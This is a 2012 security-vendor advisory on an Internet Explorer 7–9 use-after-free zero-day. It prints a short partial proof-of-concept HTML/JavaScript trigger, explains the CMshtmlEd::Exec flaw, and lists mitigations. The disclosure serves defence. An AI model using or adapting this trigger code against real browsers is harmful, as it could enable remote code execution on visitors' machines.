

Security News

2012-38004 Microsoft Internet Explorer 7/8/9 Use-After-Free 0-Day Vulnerability

1. Affected Version

Microsoft Internet Explorer 7
Microsoft Internet Explorer 8
Microsoft Internet Explorer 9

2. Description

Microsoft Internet Explorer versions 7, 8 and 9 are susceptible to a use-after-free vulnerability ([CWE-416](#)) that may result in remote code execution.

3. Vulnerability Analysis

The partial proof-of-concept code is listed as follows:

```
<HTML>
  <script>
    function funcB() {
      document.execCommand("selectAll");
    };
    function funcA() {
      document.write("#{Rex::Text.rand_text_alpha(1)}");
      parent.arrr[0].src =
"YMjff\\u0c08\\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
    }
  </script>
  <body onload='funcB();' onselect='funcA() '>
    <div contenteditable='true'>
      a
    </div>
  </body>
</HTML>
```

Table 1: The partial proof-of-concept code

When rendering an HTML page, the CMshtmlEd object gets deleted in an unexpectedly matter, but the same memory is reused again later in a CMshtmlEd::Exec() function, which causes an use-after-free condition.

This may allow a context-dependent attacker to execute arbitrary code by tricking a user into visiting a specially crafted website.

4. Recommendation

1. AegisLab IDP signature database can prevent this attack since 18/09/2012.
2. There is currently no official patch for this vulnerability.
3. Do not click on untrusted hyperlinks no matter who they are from.

5. Reference

1. <http://www.kb.cert.org/vuls/id/480095>
2. <http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/>

About Lionic: Lionic Corporation is an innovative network security chip and IP design company. It provides optimal cost-performance solutions for network security products from 30Mbps SOHO devices to 4Gbps enterprise-level appliances.

For more information, please visit Lionic website and contact our sales representatives.

Web site: www.lionic.com e-mail: sales@lionic.com Tel: 886-3-578-9399 Fax: 886-3-578-0707